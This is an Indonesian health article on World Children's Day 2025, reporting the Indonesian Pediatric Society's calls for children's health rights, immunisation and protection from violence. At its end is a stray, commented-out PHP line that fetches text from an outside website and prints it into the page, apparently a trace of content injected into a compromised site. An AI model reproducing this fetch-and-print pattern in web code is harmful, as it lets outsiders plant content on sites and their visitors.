Generasi Sehat Dimulai Hari Ini! Penuhi Hak Kesehatan Anak

 

Ilustrasi seorang ibu memeluk dan mencintai anaknya dengan penuh kehangatan, menggambarkan hubungan yang dekat dan penuh kasih Seorang ibu yang menunjukkan kasih sayang dan kedekatan emosional pada anaknya akan memberikan cinta, perlindungan, dan dukungan dalam pengasuhan. Foto: Pexels/ Arina Krasnikova

Peringatan Hari Anak Sedunia 2025 mengangkat tema global “My Day, My Rights” menjadi ajakan internasional untuk memastikan setiap anak memiliki akses merata terhadap pemenuhan hak-hak fundamental, terutama hak atas kesehatan. Dalam momentum ini, Ikatan Dokter Anak Indonesia (IDAI) menegaskan kembali posisi strategisnya sebagai garda medis yang terus memperjuangkan agar seluruh hak kesehatan anak Indonesia dapat terpenuhi secara nyata, merata, dan berkelanjutan.

Ketua Pengurus Pusat IDAI, DR Dr Piprim Basarah Yanuarso, SpA, SubspKardio(K) menekankan bahwa pemenuhan hak kesehatan anak bersifat multidimensi. “Hak anak atas kesehatan bukan sekadar bebas dari penyakit, tetapi mencakup hak untuk tumbuh kembang optimal, memperoleh layanan berkualitas, mendapatkan gizi memadai, serta hidup di lingkungan yang aman dan bersih,” ujarnya.

IDAI menyampaikan bahwa tema tahun ini selaras dengan prioritas pembangunan nasional dalam ASTA CITA Kabinet Merah Putih, terutama poin peningkatan kualitas manusia, pemerataan layanan kesehatan, dan perlindungan anak melalui regulasi yang responsif terhadap perkembangan zaman.

Meski kemajuan terus dicapai, IDAI menilai tantangan kesehatan anak di Indonesia masih kompleks. Stunting, masalah gizi, cakupan imunisasi yang belum merata, peningkatan penyakit tidak menular (PTM) pada anak, serta kesehatan mental dan risiko kekerasan masih memerlukan perhatian serius dan langkah terukur.

Tantangan Kesehatan Anak Indonesia dan Rekomendasi IDAI


Stunting, gizi buruk, dan hambatan akses kesehatan masih menempatkan sebagian anak pada risiko tumbuh kembang yang kurang optimal. Tekanan era digital, perundungan, dan dampak pandemi memperparah isu kesehatan jiwa anak, sementara PTM seperti obesitas, alergi, dan asma menunjukkan tren peningkatan.

Terkait cakupan imunisasi, IDAI menegaskan pentingnya distribusi vaksin yang lebih merata. Minimnya ketersediaan rantai pasok di daerah 3T (tertinggal, terdepan, dan terluar) menjadi salah satu hambatan yang perlu segera diatasi. “Distribusi vaksin dan obat-obatan harus dipastikan sampai wilayah terpencil agar perlindungan menyeluruh dapat tercapai,” tegas Piprim.

IDAI melalui Satgas Perlindungan Anak juga terus memperkuat peran dalam penanganan kasus kekerasan terhadap anak, baik fisik, emosional, maupun seksual, termasuk pengawalan advokasi kebijakan yang berpihak pada keselamatan anak.

DR Dr Piprim Basarah Yanuarso, SpA, SubspKardio(K) berdiri bersama para sejawat dokter anak dalam acara Pediatric Association Advocacy for Immunization Priorities DR Dr Piprim Basarah Yanuarso, SpA, SubspKardio(K) - paling kiri- bersama sejawat dokter anak dalam kegiatan Pediatric Association Advocacy for Immunization Priorities yang berfokus pada advokasi peningkatan prioritas imunisasi. Foto Dok. IDAI

Seruan Hari Anak Sedunia: Kolaborasi untuk Pemenuhan Hak Kesehatan


Dalam momentum Hari Anak Sedunia 2025, IDAI menyerukan aksi bersama lintas sektor. Pemerintah diminta mengalokasikan anggaran yang memadai untuk program kesehatan anak, memperkuat layanan primer, serta memperketat regulasi produk-produk yang berisiko mengancam kesehatan anak.

Kepada keluarga, IDAI mendorong pola pengasuhan yang responsif, penuh cinta kasih, berfokus pada gizi anak, serta seluruh orang tua memastikan anak mendapatkan imunisasi lengkap. Lingkungan sosial dan media diminta menyediakan ruang aman, bersih, dan informatif bagi anak.

Sekretaris Umum IDAI, DR Dr Hikari Ambara Sjakti, SpA, SubspHemaOnk(K) menutup, “Setiap anak Indonesia, di mana pun berada, berhak untuk sehat dan terlindungi. Memenuhi hak-hak ini adalah komitmen bersama sebagai bangsa. Hari ini adalah hari mereka, dan masa depan adalah hak mereka.”

Memang tidak berlebihan, momen Hari Anak Sedunia 2025 setiap kali menjadi tonggak mengingatkan kembali kepada seluruh orang tua agar memastikan anak-anaknya memperoleh hak kesehatan yang adil dan bermartabat. Yuk bunda dan ayah, menjadi bagian gerakan memastikan setiap anak Indonesia memperoleh hak kesehatan yang layak—mulai dari gizi, imunisasi, lingkungan aman, hingga perlindungan dari kekerasan—demi terwujudnya Generasi Emas Indonesia 2045.
Penulis: Laili

Baca juga:
Penyebab Anak Stunting, Perilaku Ibu dan Kurang Gizi Kronis
Luka Anak Cepat Sembuh dengan Teknologi Hidrokoloid Modern
Mengapa Anak Tampak Pendendam? Begini Penjelasan Psikolog


 

 


Topic

#HariAnakSedunia2025 #HakKesehatanAnak



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>